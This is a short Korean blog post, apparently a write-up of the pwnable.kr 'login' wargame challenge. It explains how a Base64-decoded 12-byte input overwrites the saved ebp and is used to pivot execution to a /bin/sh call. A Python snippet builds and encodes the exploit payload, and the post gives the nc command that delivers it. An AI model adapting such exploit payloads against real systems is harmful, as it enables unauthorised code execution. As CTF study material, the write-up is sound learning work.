요약
1. 같은 값을 입력하지만 hash 값이 계속 바뀐다.
- main 에서 auth를 호출하는데 이 auth 함수를 볼 필요가 없다고 느껴짐
2. Base64Decode하고 12글자 입력 받는데 왜 segment fault 뜬다.
- coredump로 값을 확인해봄 ( AAAABBBBCCCC를 Base64Encode한 값 ) CCCC 부분에서 ebp 변조 확인
3. GDB로 correct 함수보니 DEADBEEF 를 비교함 ( 갑자기 ? )
- 변수 값을 확인하니 전역변수 값을 가져오는 것을 확인 가능함
4. 전역변수 주소 값이 바뀌지 않음
5. 생각한 페이로드는 leave; ret; 생각하면 CCCC 값을 가져오는 것 하나 확인
input 변수 주소 값 변하지 않는 것
correct함수에서 굳이 DEADBEEF 비교값 생각하기보다 /bin/sh 주소로 바로 점프하게 하기
- AAAA + /bin/sh + input 변수주소 ( AAAA로 다시 점프 )
사진을 못올리니 글 만이라도 잘 적어야 한다 ...
>>> import base64
>>> string = ""
>>> string += "A"*4
>>> string += "\x78\x92\x04\x08"
>>> string += "\x40\xeb\x11\x08"
>>> base64.b64encode(string)
'QUFBQXiSBAhA6xEI'
nc 0 9003
'[ ★ ]Study > War Game' 카테고리의 다른 글
[Rookiss] pwnable.kr dragon (0) | 2018.11.16 |
---|---|
[Rookiss] pwnable.kr brain fuck(풀이중) (0) | 2018.11.05 |
[Rookiss] pwnable.kr fsb (0) | 2018.10.09 |
[Toddler's Bottle] pwnable.kr blukat (0) | 2018.08.13 |
[Toddler's Bottle] pwnable.kr coin1 (0) | 2018.08.12 |
댓글